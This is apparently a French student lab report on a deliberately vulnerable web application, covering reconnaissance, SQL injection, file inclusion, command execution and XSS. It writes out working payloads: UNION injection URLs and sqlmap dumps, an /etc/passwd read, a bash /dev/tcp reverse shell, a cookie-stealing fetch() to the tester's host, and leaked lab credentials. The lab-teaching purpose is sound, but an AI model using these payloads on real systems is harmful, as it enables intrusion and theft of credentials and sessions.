# Exploitation des applications Web VM : 192.168.237.153 Molinares Diogenes : p2019196 Bunel Maxime : p1914012 ## 2.1 Reconnaissance ![](https://i.imgur.com/fRT07NE.png) * Quel est le port TCP utilisé par l’application Web ? La menace associée ? L'application utilise le port 8080 L'application utilise Http au lieu de Https ce qui implique que les requêtes et reponse ne sont pas crypté avec TLS (or SSL) * Quel est le Framework de développement sur lequel s’appuie l’application ? ## 2.2 Identification des services En utilisant netcat : ``` sudo netcat 192.168.237.153 8080 GET / HTTP/1.0 ``` on obtient ce result : ``` HTTP/1.1 200 OK Date: Fri, 07 Jan 2022 11:26:24 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze19 X-XSS-Protection: 0 Vary: Accept-Encoding Content-Length: 3453 Connection: close Content-Type: text/html ``` | Service | Port | TCP/UDP | Version | Vulnérabilités | |:----------:| ---- | ------- |:---------------------:|:----------------:| | ssh | 22 | TCP | SSH-2.0-OpenSSH_7.2p2 | Version obsolète (Version actuelle 8.8) | | http-proxy | 8080 | TCP | Apache/2.2.16 | Version obsolète (version actuelle 2.4.52) https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-475499/Apache-Http-Server-2.2.16.html | ## 2.3 Connexion à l’application Web * Authentification utilisateur présente ? Si oui, à quel niveau ? Quel est la fonctionnalité protégée ? Une authentification est présente sur http://192.168.237.153:8080/admin/* qui protège toute les pages dans le repertoire admin ![](https://i.imgur.com/JdK4vT7.png) Authentification * Est-il possible de se créer un compte invité ? Peut-on uploader des fichiers ? On peux créer un compte invité sur la page : ```http://192.168.237.153:8080/signup.php``` L'upload de fichier nous donne l'erreur suivante : ![](https://i.imgur.com/nHQq0Yd.png) Ce qui expose des chemins sur le serveur. En utilisant l'onglet onlineTool et en tapant `; mkdir upload` on peux réparer le téléchargement Les liens interessent pour attaquer l'applications sont les pages contenants des formulaires. - `http://192.168.237.153:8080/jobposting.php` - `http://192.168.237.153:8080/tools.php` - `http://192.168.237.153:8080/login.php` - `http://192.168.237.153:8080/signup.php` - `http://192.168.237.153:8080/admin` ## 2.4 Identification des bannières via les entêtes HTTP ```?= GET /index.php HTTP/1.1 Host: 192.168.237.153:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 HTTP/1.1 200 OK Connection: Keep-Alive Content-Encoding: gzip Content-Length: 1016 Content-Type: text/html Date: Wed, 12 Jan 2022 08:39:57 GMT Keep-Alive: timeout=15, max=98 Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding X-Powered-By: PHP/5.3.3-7+squeeze19 X-XSS-Protection: 0 ``` - Est-il normal de disposer des bannières des services ? Est-ce que ceci constitue une vulnérabilité ? Pourquoi ? Que recommanderiez-vous ? Non ce type de bannière ne devrait pas apparaître. Ceci est une vulnérabilité car en connaissant le type de technologie et la version un attaquant sera plus efficace dans le type d'attaque. Pour éviter cela, on peux protéger l'application par un firewall ou un reverse-proxy. - Disposez-vous du même niveau d’information que le scanner réseau ? Nous disposons des mêmes information que le scanner réseau. ## 2.5 Identification du Back-End - Pourquoi est–il important de disposer de la nature de base de données utilisée ? En ayant la connaissance de la nature de la base de donnée on peux adapter les différents type d'attaque. ## 2.6 OWASP - Injection SQL - Manuelle union select null,null,@@version,null,null,null - A quoi ressemble la requête utilisée sur la page ? - Quel est l’entrée et le résultat attendus ? - Quels sont les caractères pouvant générer une rupture de la requête ? - Comment modifier l’entrée attendue ? … etc… Sur la page /blog.php on peux utiliser le paramêtre id pour injecter ``` http://192.168.237.153:8080/blog.php?id=1%20union%20select%20null,null,null,null,null,database() ``` Qui nous donne le nom de la base de donnée : `blackops` ``` http://192.168.237.153:8080/blog.php?id=1%20union%20select%20null,null,null,null,null,user() ``` Qui nous donne le nom de l'utilsateur actuelle de la base ainsi que sont ip : `tiw@172.18.0.3` ``` http://192.168.237.153:8080/blog.php?id=1%20%20union%20select%20null,null,null,null,null,((select%20group_concat(TABLE_NAME)%20from%20INFORMATION_SCHEMA.TABLES%20)) ``` Qui nous donne la liste des tables dans la base de données : `candidats,categories,posts,team` ` ``` http://192.168.237.153:8080/blog.php?id=1%20union%20select%20null,null,null,null,null,((select%20group_concat(concat(password,%27.%27,%27%3Cbr%3E%27))%20from%20candidats)) ``` Qui nous donnes les hash des mot de passe de utilisateur du site : ![](https://i.imgur.com/Hbuuy67.png) ## 2.7. OWASP - Injection SQL - SQLMap Avec la commande suivante on obtient la liste des bases de données : ``` python3 sqlmap.py -u 192.168.237.153:8080/blog.php?id=1 --batch --dbs [*] blackops [*] information_schema ``` Puis en regardant le base `blackops` : ``` python3 sqlmap.py -u 192.168.237.153:8080/blog.php?id=1 --batch --tables -D blackops ``` On obtient 4 tables : ``` +------------+ | candidats | | categories | | posts | | team | +------------+ ``` Enfin on recupère le contenu de la table team : ``` python3 sqlmap.py -u 192.168.237.153:8080/blog.php?id=1 --batch --dump -T team -D blackops ``` On obtient les mots de passe de toute l'equipe : ``` +----+---------+-----+------------------+---------+----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------+ | id | groupid | age | role | passwd | lastname | firstname | presentation | +----+---------+-----+------------------+---------+----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------+ | 1 | 10 | 36 | Co-Founder | admin | Burhan | Bin | Spent last 5 years creating best it security tools and creates BlackOps Security to share his knowledge to everyone | | 2 | 0 | 30 | Project Manager | admin21 | Man | Jane | Smart and impressive, she is the one who will make a success of your pentest | | 3 | 2 | 29 | Pentester | secret | Pahlwan | Eder | Experienced 10 years as blakchat and now reconverted as White Hat, he is the one very skilled in the team | | 5 | 5 | 2 | Auditor ISO27001 | azerty | Udin | Nasir | Security and Politic is important for you and your manager ? No problem, Nasir will give you specific justifications to Eder solutions | +----+---------+-----+------------------+---------+----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------+ ``` ## 2.8. OWASP – Local File Inclusion - /etc/passwd Sur la page `http://192.168.237.153:8080/file.php` on peux utiliser le paramètre `?page=` pour accèder au fichier `etc/passwd` Avec l'url : `http://192.168.237.153:8080/file.php?page=/etc/passwd` on obtient le contenue du fichier `etc/passwd` ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh ``` Quant à `etc/shadow` il est impossible d'afficher sont contenu de cette façon car cela nécessite une élévation des privilèges. ## 2.9. OWASP – Local File Inclusion – Fichier PHP Même technique que précédemment : `http://192.168.237.153:8080/file.php?page=connection.php` on obtient : ``` <!--?php define('DB_SERVER', 'db'); define('DB_USERNAME', 'tiw'); define('DB_PASSWORD', 'tryTOH4ckit!!!'); define('DB_DATABASE', 'blackops'); $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE); $lnk = mysql_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD); $db2 = mysql_select_db(DB_DATABASE,$lnk); ?--> ``` - Pourquoi ai-je une page blanche ?? Quelle est la particularité de ce fichier ? Cette page est blanche car le contenue du fichier est interprété (fichier PHP). C'est une fichier php mis en commentaire dans lequelle on peux trouver des informations sur la base de données permettent de ce connecter. - Comment faire pour que le contenu ne soit pas i…té ? - En mettant les balise de commentaires html `<!-- -->` dans la balise php `*/ /*` le serveur ne va pas interprété les commentaires. ## 2.10. OWASP – Remote File Inclusion - Identifiez à quel endroit de l’application vous pourriez inclure du contenu qui ne serait pas présent sur la machine mais stocké autre part En utilisant : `http://192.168.237.153:8080/file.php?page=` ## 2.11. OWASP – Remote File Inclusion - Comment créer un reverse-shell en php ? On créer une connection TCP vers une machine distante. - Comment inclure notre reverse shell dans l’application web pour qu’il soit exécuté et que nous récupérions une connexion sur le serveur ? On créer un serveur sur une machine qui distribue un fichier php (le fichier reverse-shell de pentestmonkey par exemple). Puis sur cette page on inclue le fichier distribué par l'adresse de notre serveur `http://192.168.237.153:8080/file.php?page=192.168.153.190` ## 2.12. OWASP – File Upload - WebShell A l'aide de la fonction d'upload de fichier, on upload le fichier php provenant de pentestmonkey en indiquant notre adresse ip ainsi qu'un port par exemple 6666. Puis sur notre machine on lance la commande : `nc -v -n -l -p 6666` Enfin on charge le fichier uploader sur le serveur : `http://192.168.237.153:8080/upload/reverse.php` ## 2.13. OWASP - Command Execution – Simple Le site possède une fonction qui permet de scanner une adresse ip et utilise pour cela Nmap en utilisant le caractères `;` ont peux terminer la commande et commencer a écrire des commandes système. En écrivant ```; id``` on obtient les information sur l'identifiant de l'utilisateur ``` uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 2.14. OWASP - Command Execution – Reverse Shell Sur notre machine on lance la commande : `nc -v -n -l -p 6666` Sur la page onlineTools on tape la commande suivante : `; /bin/bash -c '/bin/bash -i >&/dev/tcp/192.168.153.190/6666 0>&1 2>&1'` ## 2.15. OWASP – XSS Reflected - Qui interprète le contenu d’une XSS ? (serveur/client) Les xss sont interprèter côté client - Avec quel langage exploiter une XSS ? Du fait que cela soit coté client, on peut utiliser un language coté client généralement Javascript. - Quelles sont les ouvertures possibles avec une telle faille ? Ce type d'attaque est par exemple livré via une URL qui le contient (envoyée par email ou par un autre moyen). On peux imaginer récupérer les cookie de session, écouter les touches du clavier, ou rediriger un utilisateur vers un site de notre choix. ## 2.16. OWASP – XSS Stored Sur le site en ayant accès à l'espace d'administration on peux ajouter une xss en modifiant un article. En ajoutant une balise <script></script> le formulaire du le titre ou de la description on peux executer le code contenu dans celle-ci. Exemple : ``` <script> fetch('http://monip:8080/?c='+document.cookie) </script> ``` En ajoutant ce code on peut récupérer les cookies à chaque fois qu'un utilisateur va régarder cette article. ## 2.17. .htaccess bypass http method Sur la page `http://192.168.237.153:8080/file.php` on peux utiliser le paramètre `?page=` pour accèder certaines pages comme : - admin/.htaccess - admin/.htpasswd Cela nous permet de récupérer le hask du mot de passe de l'utilisateur admin ```admin:$apr1$NPiDXOoh$H9hRCiWDVKaikHYjO64pv0``` ## 2.18. Password .htaccess A l'aide du logiciel john the ripper on peut retrouver le mot de passe correspondant au hash trouver précèdant. On trouver que la fonction de hashage utilisé est MD5 qui est obsolète et que le mot de passe est `cool123`